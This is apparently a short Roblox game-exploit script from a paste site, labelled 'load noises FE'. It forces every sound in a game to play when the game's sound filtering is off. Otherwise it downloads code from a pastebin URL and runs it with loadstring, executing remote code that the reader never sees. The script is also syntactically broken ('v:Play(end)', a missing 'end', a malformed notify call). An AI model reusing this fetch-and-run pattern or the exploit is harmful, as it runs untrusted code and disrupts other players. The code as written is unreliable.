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load noises FE :)

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Feb 20th, 2020
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  1. if game.SoundService.RespectFilteringEnabled == false then
  2. for i,v in pairs(game.Workspace:GetDescendants()) do
  3. if v:IsA("Sound") then
  4. v:Play(end)
  5. end
  6. end
  7. else
  8. loadstring(game:HttpGetAsync("https://pastebin.com/raw/Ts8TSAZN", 0, true))()
  9. notify("Sound is unexploitable.", warn(":("))
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